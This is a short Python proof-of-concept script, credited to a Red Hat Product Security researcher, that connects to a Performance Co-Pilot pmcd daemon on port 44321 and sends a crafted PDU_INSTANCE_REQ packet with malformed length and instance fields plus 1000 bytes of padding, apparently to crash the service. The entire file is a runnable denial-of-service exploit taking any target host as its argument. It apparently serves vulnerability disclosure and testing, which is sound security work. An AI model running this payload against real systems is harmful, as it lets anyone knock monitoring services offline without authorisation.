File: crash-instancereq

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#
# usage: python crash-instancereq HOST
#
# Connects to pmcd on HOST and sends a crafted PDU_INSTANCE_REQ
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
_, host = sys.argv
#sock = socket.create_connection((host, 44321))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
message = b"\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00"
message += b'\x00\x00\x04\x08\x00\x00p\x06\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff'
message += b'X' * 1000
sock.send(message)
sock.close()